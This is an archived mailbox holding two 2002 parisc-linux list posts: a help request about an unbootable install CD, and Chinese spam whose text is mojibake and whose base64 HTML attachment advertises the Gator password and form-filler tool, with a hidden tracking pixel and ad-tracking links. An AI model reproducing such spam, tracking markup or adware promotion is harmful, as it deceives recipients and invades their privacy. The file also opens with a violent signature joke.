> To sysadmin or not to sysadmin... that is the question, whether tis
> nobler in the minde to suffer the slings and arrowes of outragious
> fortune, or climb to the top of the building with a fucking high-power
> rifle and scope.
>


From - Thu Nov 08 21:24:05 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "MONTESANTI,DOMENICO (HP-Belgium,ex1)" <domenico_montesanti@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] palinux-0.9.3.iso installation :Help
Date: Fri, 9 Aug 2002 11:05:14 +0200
Lines: 289
Approved: news@gmane.org
Message-ID: <FD93D5954435D411BBDB00D0B747A8C106212D87@herge.belgium.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
	boundary="----_=_NextPart_000_01C23F83.DFA7FFB0"
X-Trace: ger.gmane.org 1416621608 12205 80.91.229.3 (22 Nov 2014 02:00:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:08 +0000 (UTC)
To: "'parisc-linux@parisc-linux.org'" <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Aug  9 03:05:24 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from bbnmg1.net.external.hp.com (bbnnmg1.net.external.hp.com [155.208.254.184])
	by dsl2.external.hp.com (Postfix) with ESMTP id 65F0E482A
	for <parisc-linux@parisc-linux.org>; Fri,  9 Aug 2002 03:05:23 -0600 (MDT)
Original-Received: from meuse.BELGIUM.HP.COM (meuse.belgium.hp.com [15.160.6.250])
	by bbnmg1.net.external.hp.com (Postfix) with SMTP id 1500D48B
	for <parisc-linux@parisc-linux.org>; Fri,  9 Aug 2002 11:05:18 +0200 (METDST)
Original-Received: from 15.160.6.250 by meuse.BELGIUM.HP.COM (InterScan E-Mail VirusWall NT); Fri, 09 Aug 2002 11:05:17 +0200
Original-Received: by meuse.belgium.hp.com with Internet Mail Service (5.5.2655.55)
	id <QF8TF9AS>; Fri, 9 Aug 2002 11:05:17 +0200
X-Mailer: Internet Mail Service (5.5.2655.55)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15778

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_000_01C23F83.DFA7FFB0
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C23F83.DFA7FFB0"


------_=_NextPart_001_01C23F83.DFA7FFB0
Content-Type: text/plain;
	charset="iso-8859-1"

Hi,
 
To start in the linux world,I am trying to install the palinux on my
workstation (HP9000/B160 L).
I performed the following steps:
 
Downloaded de image from the servercoe.atl.hp.com web site
Burnt the image on a CD
 
and I am stuck here as this CD looks like it is not bootable.
 
The error message is:
 
IPL error: bad LIF magic.
Error Reading IPL
 
Could you please advise/help me.
 
Many thanks,
 
Best regards,
 

Domenico Montesanti 
HP Managed Services - Delivery EMEA/WISO
UX/MPE Production Engineering
Belgium Office 
www.hp.be <http://www.hp.be>  
 <http://www.hp.com> 
Email: domenico_montesanti@hp.com <mailto:domenico_montesanti@hp.com> 
 
Fax:  +32 2 778 33 49 
Telnet: 710-3340
Tel:  +32 2 778 33 40 
 

------_=_NextPart_001_01C23F83.DFA7FFB0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML xmlns=3D"http://www.w3.org/TR/REC-html40" xmlns:v =3D=20
"urn:schemas-microsoft-com:vml" xmlns:o =3D=20
"urn:schemas-microsoft-com:office:office" xmlns:w =3D=20
"urn:schemas-microsoft-com:office:word"><HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">
<TITLE>Domenico Montesanti MPE-UX Engineering</TITLE>

<META content=3DWord.Document name=3DProgId>
<META content=3D"MSHTML 5.50.4727.700" name=3DGENERATOR>
<META content=3D"Microsoft Word 9" name=3DOriginator><LINK=20
href=3D"./domenico_files/filelist.xml" rel=3DFile-List><LINK=20
href=3D"./domenico_files/editdata.mso" rel=3DEdit-Time-Data><!--[if =
!mso]>
<STYLE>v\:* {
	BEHAVIOR: url(#default#VML)
}
o\:* {
	BEHAVIOR: url(#default#VML)
}
w\:* {
	BEHAVIOR: url(#default#VML)
}
.shape {
	BEHAVIOR: url(#default#VML)
}
</STYLE>
<![endif]--><!--[if gte mso 9]><xml>
 <o:DocumentProperties>
  <o:Author>Domenico Montesanti</o:Author>
  <o:LastAuthor>Domenico Montesanti</o:LastAuthor>
  <o:Revision>6</o:Revision>
  <o:TotalTime>13</o:TotalTime>
  <o:Created>2002-05-23T13:00:00Z</o:Created>
  <o:LastSaved>2002-05-29T06:19:00Z</o:LastSaved>
  <o:Pages>1</o:Pages>
  <o:Words>65</o:Words>
  <o:Characters>374</o:Characters>
  <o:Company>Hewlett-Packard</o:Company>
  <o:Lines>3</o:Lines>
  <o:Paragraphs>1</o:Paragraphs>
  <o:CharactersWithSpaces>459</o:CharactersWithSpaces>
  <o:Version>9.4402</o:Version>
 </o:DocumentProperties>
</xml><![endif]--><!--[if gte mso 9]><xml>
 <w:WordDocument>
  <w:Zoom>75</w:Zoom>
 </w:WordDocument>
</xml><![endif]-->
<STYLE>@font-face {
	font-family: Verdana;
}
@page Section1 {size: 8.5in 11.0in; margin: 1.0in 1.25in 1.0in 1.25in; =
mso-header-margin: .5in; mso-footer-margin: .5in; mso-paper-source: 0; =
}
P.MsoNormal {
	FONT-SIZE: 12pt; MARGIN: 0in 0in 0pt; FONT-FAMILY: "Times New Roman"; =
mso-style-parent: ""; mso-pagination: widow-orphan; =
mso-fareast-font-family: "Times New Roman"
}
LI.MsoNormal {
	FONT-SIZE: 12pt; MARGIN: 0in 0in 0pt; FONT-FAMILY: "Times New Roman"; =
mso-style-parent: ""; mso-pagination: widow-orphan; =
mso-fareast-font-family: "Times New Roman"
}
DIV.MsoNormal {
	FONT-SIZE: 12pt; MARGIN: 0in 0in 0pt; FONT-FAMILY: "Times New Roman"; =
mso-style-parent: ""; mso-pagination: widow-orphan; =
mso-fareast-font-family: "Times New Roman"
}
A:link {
	COLOR: blue; TEXT-DECORATION: underline; text-underline: single
}
SPAN.MsoHyperlink {
	COLOR: blue; TEXT-DECORATION: underline; text-underline: single
}
A:visited {
	COLOR: blue; TEXT-DECORATION: underline; text-underline: single
}
SPAN.MsoHyperlinkFollowed {
	COLOR: blue; TEXT-DECORATION: underline; text-underline: single
}
DIV.Section1 {
	page: Section1
}
</STYLE>
<!--[if gte mso 9]><xml>
 <o:shapedefaults v:ext=3D"edit" spidmax=3D"1027"/>
</xml><![endif]--><!--[if gte mso 9]><xml>
 <o:shapelayout v:ext=3D"edit">
  <o:idmap v:ext=3D"edit" data=3D"1"/>
 </o:shapelayout></xml><![endif]--></HEAD>
<BODY lang=3DEN-US style=3D"tab-interval: .5in" vLink=3Dblue =
link=3Dblue>
<DIV class=3DSection1><![if !supportEmptyParas]><![endif]>
<P class=3DMsoNormal><FONT face=3DArial><FONT size=3D2><SPAN=20
class=3D302265808-09082002>Hi,</SPAN></FONT></FONT></P>
<P class=3DMsoNormal><FONT face=3DArial><FONT size=3D2><SPAN=20
class=3D302265808-09082002></SPAN></FONT></FONT>&nbsp;</P>
<P class=3DMsoNormal><FONT face=3DArial><FONT size=3D2><SPAN=20
class=3D302265808-09082002>To start in the linux world,I am trying to =
install the=20
palinux on my workstation (HP9000/B160 L).</SPAN></FONT></FONT></P>
<P class=3DMsoNormal><FONT face=3DArial><FONT size=3D2><SPAN=20
class=3D302265808-09082002>I&nbsp;performed the following=20
steps:</SPAN></FONT></FONT></P>
<P class=3DMsoNormal><FONT face=3DArial><FONT size=3D2><SPAN=20
class=3D302265808-09082002></SPAN></FONT></FONT>&nbsp;</P>
<P class=3DMsoNormal><FONT face=3DArial><FONT size=3D2><SPAN=20
class=3D302265808-09082002>Downloaded de image from the =
servercoe.atl.hp.com web=20
site</SPAN></FONT></FONT></P>
<P class=3DMsoNormal><FONT face=3DArial><FONT size=3D2><SPAN=20
class=3D302265808-09082002>Burnt the image on a =
CD</SPAN></FONT></FONT></P>
<P class=3DMsoNormal><FONT face=3DArial><FONT size=3D2><SPAN=20
class=3D302265808-09082002></SPAN></FONT></FONT>&nbsp;</P>
<P class=3DMsoNormal><FONT face=3DArial><FONT size=3D2><SPAN=20
class=3D302265808-09082002>and I am stuck here as this CD looks like it =
is not=20
bootable.</SPAN></FONT></FONT></P>
<P class=3DMsoNormal><FONT face=3DArial><FONT size=3D2><SPAN=20
class=3D302265808-09082002></SPAN></FONT></FONT>&nbsp;</P>
<P class=3DMsoNormal><FONT face=3DArial><FONT size=3D2><SPAN=20
class=3D302265808-09082002>The error message =
is:</SPAN></FONT></FONT></P>
<P class=3DMsoNormal><FONT face=3DArial><FONT size=3D2><SPAN=20
class=3D302265808-09082002></SPAN></FONT></FONT>&nbsp;</P>
<P class=3DMsoNormal><FONT face=3DArial><FONT size=3D2><SPAN=20
class=3D302265808-09082002>IPL error: bad LIF =
magic.</SPAN></FONT></FONT></P>
<P class=3DMsoNormal><FONT face=3DArial><FONT size=3D2><SPAN=20
class=3D302265808-09082002>Error Reading IPL</SPAN></FONT></FONT></P>
<P class=3DMsoNormal><FONT face=3DArial><FONT size=3D2><SPAN=20
class=3D302265808-09082002></SPAN></FONT></FONT>&nbsp;</P>
<P class=3DMsoNormal><FONT face=3DArial><FONT size=3D2><SPAN=20
class=3D302265808-09082002>Could you please advise/help=20
me.</SPAN></FONT></FONT></P>
<P class=3DMsoNormal><FONT face=3DArial><FONT size=3D2><SPAN=20
class=3D302265808-09082002></SPAN></FONT></FONT>&nbsp;</P>
<P class=3DMsoNormal><FONT face=3DArial><FONT size=3D2><SPAN=20
class=3D302265808-09082002>Many thanks,</SPAN></FONT></FONT></P>
<P class=3DMsoNormal><FONT face=3DArial><FONT size=3D2><SPAN=20
class=3D302265808-09082002></SPAN></FONT></FONT>&nbsp;</P>
<P class=3DMsoNormal><FONT face=3DArial><FONT size=3D2><SPAN=20
class=3D302265808-09082002>Best regards,</SPAN></FONT></FONT></P>
<P class=3DMsoNormal><FONT face=3DArial><FONT size=3D2><SPAN=20
class=3D302265808-09082002></SPAN></FONT></FONT>&nbsp;</P>
<TABLE style=3D"mso-cellspacing: 0in; mso-padding-alt: 0in 0in 0in 0in" =

cellSpacing=3D0 cellPadding=3D0 border=3D0>
  <TBODY>
  <TR>
    <TD=20
    style=3D"PADDING-RIGHT: 0in; PADDING-LEFT: 0in; PADDING-BOTTOM: =
0in; PADDING-TOP: 0in"=20
    noWrap>
      <P class=3DMsoNormal><B><SPAN=20
      style=3D"FONT-SIZE: 10pt; FONT-FAMILY: Verdana">Domenico=20
      Montesanti</SPAN></B><SPAN style=3D"FONT-SIZE: 10pt; FONT-FAMILY: =
Verdana">=20
      <BR>HP Managed Services &#8211; Delivery =
EMEA/WISO<o:p></o:p></SPAN></P>
      <P class=3DMsoNormal><SPAN=20
      style=3D"FONT-SIZE: 10pt; FONT-FAMILY: Verdana">UX/MPE Production =

      Engineering<o:p></o:p></SPAN></P>
      <P class=3DMsoNormal><SPAN=20
      style=3D"FONT-SIZE: 10pt; FONT-FAMILY: Verdana">Belgium Office =
<BR><A=20
      href=3D"http://www.hp.be">www.hp.be</A> </SPAN></P></TD>
    <TD=20
    style=3D"PADDING-RIGHT: 0in; PADDING-LEFT: 0in; PADDING-BOTTOM: =
0in; WIDTH: 105pt; PADDING-TOP: 0in"=20
    noWrap width=3D140>
      <P class=3DMsoNormal><A href=3D"http://www.hp.com"><SPAN=20
      style=3D"TEXT-DECORATION: none; text-underline: none"><IMG =
id=3D_x0000_i1025=20
      height=3D131 src=3D"cid:302265808@09082002-1953" width=3D140=20
      border=3D0></SPAN></A></P></TD>
    <TD=20
    style=3D"PADDING-RIGHT: 0in; PADDING-LEFT: 0in; PADDING-BOTTOM: =
0in; PADDING-TOP: 0in"=20
    noWrap>
      <P class=3DMsoNormal><SPAN=20
      style=3D"FONT-SIZE: 10pt; FONT-FAMILY: Verdana">Email: <A=20
      =
href=3D"mailto:domenico_montesanti@hp.com">domenico_montesanti@hp.com</A=
><BR><SPAN=20
      style=3D"mso-spacerun: yes">&nbsp;</SPAN><BR>Fax:<SPAN=20
      style=3D"mso-spacerun: yes">&nbsp; </SPAN>+32 2 778 33 49=20
      <o:p></o:p></SPAN></P>
      <P class=3DMsoNormal><SPAN=20
      style=3D"FONT-SIZE: 10pt; FONT-FAMILY: Verdana">Telnet:=20
      710-3340<BR>Tel:<SPAN style=3D"mso-spacerun: yes">&nbsp; =
</SPAN>+32 2 778 33=20
      40 </SPAN></P></TD></TR></TBODY></TABLE>
<P=20
class=3DMsoNormal><![if =
!supportEmptyParas]><![endif]>&nbsp;<o:p></o:p></P></DIV></BODY></HTML>

------_=_NextPart_001_01C23F83.DFA7FFB0--

------_=_NextPart_000_01C23F83.DFA7FFB0
Content-Type: image/gif;
	name="hp.gif"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
	filename="hp.gif"
Content-ID: <302265808@09082002-1953>

R0lGODdhjACDALMAAP////f39+/v7+Xl597e3tTU1cvLy8DAwK+wsZSVl2l1jy5DfCo7dSk5eyk5
cwYGBiwAAAAAjACDAEAE/xDISau9OOvNu/9gKI5kaZ5oqq5s675wLM90PR9Mru98nycGhW5hwPmO
yCGBknAonAyFbVVI8hSGLEEgSeyyhYBHaNVhDctprFoGiyXG3CHOAHp1CDrQwCUnz2lqL2xlBwYB
hAwIBgtmBgh/WVwSfpFogjCJZTsIFgGNP5IVBJWbOYCYMwEDBK2ur7CvrAMAA7YDkwK3u7y9vrgC
b6kxCVIWCcUKk0wJAAcKgRPFzRcK0xcOD8bD3N3e3+Dh4uPk5ebn6Onq6+zt7u/w8fLz9BiapotZ
RTt7ywABAQQQeGbqihYABrQJUPCAmrt7PoiImpAkwZKKS0odQVVPAsQeWf9oUXJ0Rw6jIQZKMnAz
0grHjh+PIFgCsOY/MQH8SCzA682ngi870im4g4jKOaCIIlkwx4DIjlChZsPmAMCDqse0XUhwVasF
bQe8UmAYtazZs2jTql3Ltq3bt3Djyp1Lt67du3jz6t3LIWaZBQkMHTUQBoCAA8WU9jgjpmo2BwKw
PlSaD00wP2eeYgigclPmqH53nOEzIZECBIsoICrAunUBaaY+Qw2dI5/mSo84BUEJCQ+aAZ5Dgi4j
uxa/3TmI6EEeRTgAjYudw9wEJM3R3qEqHcCuKMsb4MSl16Od/EAaAvr4CEgvWoF79/kCdUZSfLxS
phnoLCp8TGl9euT9gYD/GDodVAAC0BH1H0yoNejggxDm8ch2qBVBGIURZgihIYZYxteHJjDwQDQg
yjCVBQ5UdZUFBHS1zQSPPfDABWCJNQFZJeao44489ujjj0AGKeSQRBZp5JFIJqnkkkw26eSTUEYp
5ZRUVmnllVhmqWU3JymWHEI7ZOSlDwoIc6OL/rQz5g5ziPaIe2tGN4kDBqiIwIzvBLhYh8wxdck/
BBRQRIKeGUJLHZA9kBA8evoGxgDc7WemaqQopoAhBIhBihMHxNNoZVsAQMBxpHFAKJmYTiqPnh0W
sExSC2YwamypzoaPFsLMd8obukYhBnjE1TpdGXtEYwA/3AWWbLJODbWR/7D2teHdBAG4iRsdWGAm
XFL0QQvgXwfdiJJKixQ4WGGnnuLtPORJx912xx213CEt/bHuqpssItKsocC6jw5A+OvUBNw+i4aq
ngb3GgD+4tZlcwUSNgF33R5sK3V8qJSbb6d2+B2tFg8bnKaBFpCpAKwREGl6+rjqEVD3JlwQEWmq
5ubAWykYM6OKEYFBxCT+06u9IUfrpQILw6Ebf7UMHWzR9cSpA0/HpevfzvE4S1TAjlAc52kdagYV
yiyXbXZ6rqLt0dlsl91qqD0ivGWQAs3dBQPj4NjWiRVkI+OLlIwoY1bZAC6BjDJ2UgHibvFNQYpW
Sfa4jDVng5jhVl1qYyzgbxVxQRbOGICBeRhcc4F5hwU9kN2st+7667DHLvvstNdu++2456777h9G
AAA7

------_=_NextPart_000_01C23F83.DFA7FFB0--


From - Thu Nov 08 21:24:05 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "GATOR" <GATOR@GATOR.COMM>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] רҡ֣עᡢɵ½
Date: Fri, 9 Aug 2002 19:05:33 +0800
Lines: 142
Approved: news@gmane.org
Message-ID: <20020809110547.5F317482A@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
	boundary="= Multipart Boundary 0809021905"
X-Trace: ger.gmane.org 1416621609 12208 80.91.229.3 (22 Nov 2014 02:00:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:09 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Aug  9 05:05:48 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from Liming Zhu (unknown [61.177.34.149])
	by dsl2.external.hp.com (Postfix) with SMTP id 5F317482A
	for <parisc-linux@lists.parisc-linux.org>; Fri,  9 Aug 2002 05:05:47 -0600 (MDT)
X-Priority: 3
X-Mailer: JiXing mailer V1.73 Design By JohnnieHuang
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15779

This is a multipart MIME message.

--= Multipart Boundary 0809021905
Content-Type: text/plain; charset="GB2312"
Content-Transfer-Encoding: 7bit

   רҡ֣עᡢɵ½

    Ƿкܶվe-MailBBSҺȵʻ룿ǷܹȫļעǣGatorԱ԰ЩҲȥЩĶˣеûȫGatorͼ䣬עΪĳվĻԱʱֻһһڰидϣGatorͨ˸ְȫ˽֤İȫԾԵı֤
     
    ȫѵģطַڸ:)

    ע⣺300KǲûĿҪ~~
 

--= Multipart Boundary 0809021905
Content-Type: application/octet-stream;
	name="ط.htm"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
	filename="ط.htm"

PGh0bWw+DQo8aGVhZD4NCjx0aXRsZT7D4rfRz8LU2Mzuse3W+srWOik8L3Rp
dGxlPg0KPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50
PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9Z2IyMzEyIj4NCjxtZXRhIG5hbWU9InJv
Ym90cyIgY29udGVudD0iYWxsIj4NCjxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+
DQo8IS0tDQouZm9udHMgeyAgZm9udC1zaXplOiA5cHR9DQphOmFjdGl2ZSB7
ICBjb2xvcjogI0ZGMDAwMH0NCmE6aG92ZXIgeyAgY29sb3I6ICNGRjAwMDB9
DQphOmxpbmsgeyAgY29sb3I6ICMwMDAwRkZ9DQphOnZpc2l0ZWQgeyAgY29s
b3I6ICM2NjY2NjZ9DQotLT4NCjwvc3R5bGU+DQo8L2hlYWQ+DQo8Ym9keSBs
ZWZ0bWFyZ2luPSIxIiBjbGFzcz0iZm9udHMiIHRvcG1hcmdpbj0iMSIgYmdj
b2xvcj0iI0U4RjFEMCI+DQo8ZGl2IGFsaWduPSJjZW50ZXIiPiANCiAgIDx0
YWJsZSB3aWR0aD0iNzAwIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBj
ZWxscGFkZGluZz0iMCIgY2xhc3M9ImZvbnRzIj4NCiAgICA8dHI+DQogICAg
ICA8dGQ+PGI+PGJyPg0KICAgICAgICAmZ3Q7Jmd0O7zyyvYgPC9iPsnPzfjK
sbzks6TBy6Os16Ky4bXEzfjVvr7NtuDByy4uLi4uLi4uLsO/tM61x8K8trzS
qsrkyOvTw7unw/ujrMPcwuu1yNDFz6Kho9XiyLfKtbrcwum3syCjrMvkyLtJ
Rb/J0tS8x9eh0ruyv7fW0MXPoqOstavV4srHt8ezo9PQz961xKGjz9bU2s7S
z/K087zSzca89tK7v+7XqNK1vLa1xNbHxNzM7rHtuaS+3y0tLS1HYXRvciEg
DQogICAgICAgIMv81qez1rbg08O7p6Osv8nS1L2rxOPL+dPQtcfCvLn9tcTN
+NW+tcTTw7unw/ujrMPcwuu1yNDFz6K8x9eho6y1scTj0qq1x8K8yrHL/Lvh
1ve2r7DvxPqw0dPDu6fD+7rNw9zC68zuusOjrLj8vvi1xMrH1NrXorLhs8nO
qsSzuPbN+NW+tcS74dSxyrGjrMTj1rvQ68fhx+HSu7C0seO/ydTa0rvD69bT
xNqw0cv509C1xLj2yMvXysHPtrzM7iANCiAgICAgICAg0LTN6rHPo6zKx7K7
yse63MnxxubRvaO/tvjH0tXiuPbI7bz+u7nKx8Pit9G1xKOo1rvKx73nw+bJ
z9PQueO45sz1o6yyu7n9ztLP67TzvNLTprjDv8nS1L3Tyty1xLDJo6kgPGlt
ZyBzcmM9Imh0dHA6Ly9zZXJ2aWNlLmJmYXN0LmNvbS9iZmFzdC9zZXJ2ZT9i
Zm1pZD0xMzA3MzU3JmFtcDtzaXRlaWQ9MzgwNzcxNjkmYW1wO2JmcGFnZT0x
IiBib3JkZXI9IjAiIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIE5PU0FWRT48YnI+
DQogICAgICA8L3RkPg0KICAgIDwvdHI+DQogIDwvdGFibGU+DQogIA0KPC9k
aXY+DQo8dGFibGUgd2lkdGg9IjcwMCIgYm9yZGVyPSIwIiBjZWxsc3BhY2lu
Zz0iMCIgY2VsbHBhZGRpbmc9IjIiIGNsYXNzPSJmb250cyIgYWxpZ249ImNl
bnRlciI+DQogIDx0cj4gDQogICAgPHRkPjxiPjxmb250IHNpemU9IjQiPqOo
0rujqbCy17A8L2ZvbnQ+IDwvYj7V4rj2yO28/ta7xNzU2s/fsLLXsKOhsru5
/bu5ssUzMDBLo6zO3sv5zr3Asl4wXk9Lo6zPwsPmvbLK9r7fzOW1xLCy17C5
/bPMo7o8YnI+DQogICAgICA8Yj612tK7sr0mZ3Q7Jmd0OzwvYj48YSBocmVm
PSJodHRwOi8vc2VydmljZS5iZmFzdC5jb20vYmZhc3QvY2xpY2s/YmZtaWQ9
MTMwNzM1NyZhbXA7c2l0ZWlkPTM4MDc3MTY5JmFtcDtiZnBhZ2U9MSIgdGFy
Z2V0PSJfYmxhbmsiPlu147v31eLA7108L2E+o6y78jxiPjxmb250IHNpemU9
IjMiPqO6PC9mb250PjwvYj6147v31eK49s28seqjujxhIGhyZWY9Imh0dHA6
Ly9zZXJ2aWNlLmJmYXN0LmNvbS9iZmFzdC9jbGljaz9iZm1pZD0xMzA3MzU3
JmFtcDtzaXRlaWQ9MzgwNzcxNjkmYW1wO2JmcGFnZT0xIiB0YXJnZXQ9Il9i
bGFuayI+PGltZyBzcmM9Imh0dHA6Ly93d3cuZ2F0b3IuY29tL2ltYWdlcy9i
YW5uZXJzL2dhdG9yX2Zvcm1zMl84OHgzMS5naWYiIHdpZHRoPSI4OCIgaGVp
Z2h0PSIzMSIgYm9yZGVyPSIwIiBhbHQ9IkZpbGxzIG91dCBmb3JtcywgcmVt
ZW1iZXJzIHBhc3N3b3Jkcy4gR3JhYiBHYXRvciEiPjwvYT6z9s/WyOfPwr3n
w+ajuiANCiAgICAgIDxicj4NCiAgICAgIDxicj4NCiAgICAgIDxpbWcgc3Jj
PSJodHRwOi8vd3d3LnBpYzIxLmNvbS9waWM1Mi9nYXRvcl9hLmpwZyIgd2lk
dGg9IjM1MCIgaGVpZ2h0PSIxODYiIGJvcmRlcj0iMSI+IA0KICAgIDwvdGQ+
DQogIDwvdHI+DQo8L3RhYmxlPg0KPHRhYmxlIHdpZHRoPSI3MDAiIGJvcmRl
cj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIyIiBjbGFzcz0i
Zm9udHMiIGFsaWduPSJjZW50ZXIiPg0KICA8dHI+IA0KICAgIDx0ZD48Yj61
2rb+sr0mZ3Q7Jmd0OyA8L2I+teO798nPzbzW0LXELjxpbWcgc3JjPSJodHRw
Oi8vd3d3LnBpYzIxLmNvbS9waWM1Mi9nYXRvci5qcGciIHdpZHRoPSIxMjUi
IGhlaWdodD0iNDUiPr3Tz8LAtLHj0qrJ1MnUtci0/cHLo6yyu7n9srvSqtfF
vLGjrLf+zvHG98Om18XExy4uLi66x7rHo6yyu9K7u+G2+bHju+Gz9s/Wz8LD
5iANCiAgICAgILXEvq+45r/yPGJyPg0KICAgICAgPGltZyBzcmM9Imh0dHA6
Ly93d3cucGljMjEuY29tL3BpYzUyL2dhdG9yX2IuZ2lmIiB3aWR0aD0iNDM4
IiBoZWlnaHQ9IjI5NyI+IA0KICAgIDwvdGQ+DQogIDwvdHI+DQo8L3RhYmxl
Pg0KPHRhYmxlIHdpZHRoPSI3MDAiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9
IjAiIGNlbGxwYWRkaW5nPSIyIiBjbGFzcz0iZm9udHMiIGFsaWduPSJjZW50
ZXIiPg0KICA8dHI+IA0KICAgIDx0ZCBoZWlnaHQ9IjI4MiI+PGI+tdrI/bK9
Jmd0OyZndDsgPC9iPs7Sw8fRodTxobDKx6Gxo6zV4tH5o6zPtc2zvs2/qsq8
sLLXsNXiuPbI7bz+wcujrL3nw+bI58/Co7o8YnI+DQogICAgICA8YnI+DQog
ICAgICA8aW1nIHNyYz0iaHR0cDovL3d3dy5waWMyMS5jb20vcGljNTIvZ2F0
b3JfYy5naWYiIGJvcmRlcj0iMSI+PGJyPg0KICAgICAgPGJyPg0KICAgICAg
1NqwstewtcS5/bPM1tCjrMv8u+HSqsfzxOPM7sjr0rvQqbj2yMvQxc+io6zI
58q1zO6wySjI57n70rvKsbK7xNzIt7aoyOe6zszu0LS/ydLUy+ax48rkyOu8
uLj206LOxNfWxLijrNLUuvPL5sqxv8nS1NDeuMS1xCmjuyC908/CwLS7ubvh
0qrE47Cy17AmcXVvdDtPZmZlckNvbXBhbmlvbi4uLi4uLi4uIA0KICAgICAg
PGJyPg0KICAgICAgsLTXsM3qsc+688jOzvHAuNbQvs274dPQ1eK49s28seo8
aW1nIHNyYz0iaHR0cDovL3d3dy5waWMyMS5jb20vcGljNTIvZ2F0b3JfZC5n
aWYiIFdJRFRIPSIxNCIgSEVJR0hUPSIxNCI+IA0KICAgICAgo6y6w8Cyo6y0
87mmuOazyaOhIDwvdGQ+DQogIDwvdHI+DQo8L3RhYmxlPg0KPHRhYmxlIHdp
ZHRoPSI3MDAiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRk
aW5nPSIyIiBjbGFzcz0iZm9udHMiIGFsaWduPSJjZW50ZXIiPg0KICA8dHI+
IA0KICAgIDx0ZD48YnI+DQogICAgICA8Yj48Zm9udCBzaXplPSI0Ij6jqLb+
o6nKudPDt723qLyw1vfSqrmmxNw8L2ZvbnQ+PC9iPjxicj4NCiAgICAgIDxi
cj4NCiAgICAgIKOoMaOp0MXPosi3yM+jujxicj4NCiAgICAgIDxicj4NCiAg
ICAgIMuru/e/qsq8ssu1pdbQtcTNvLHqxvS2r6Osu+HU2rXnxNTT0s/Cvce1
xNe0zKzAuNbQs/bP1tK7uPbA4MvG0KHH4M3czbe1xM28seqjrMrXz8jE49Kq
zerV+7rN17zIt7XEvau49sjL0MXPosrkyOuho7Wlu/fNvLHq1Nqz9s/WtcS9
58Pm1tCwtKGwVVBEQVRFIA0KICAgICAgTVkgSU5GT6Gxo6zE47/J0tTJ6Lao
o7pIT01FLbzSzaWholdPUkstuaTX96GiT1RIRVItxuTL/KGiUEFTU1dPUkQt
w9zC66GiQ1JFRElUIENBUkQt0MXTw7+otcjQxc+ioaPSqtei0uK1xMrHobBT
dGF0ZS9Qcm92aW5jZaGxxOPSqtGhobBPdGhlciANCiAgICAgIFByb3ZpbmNl
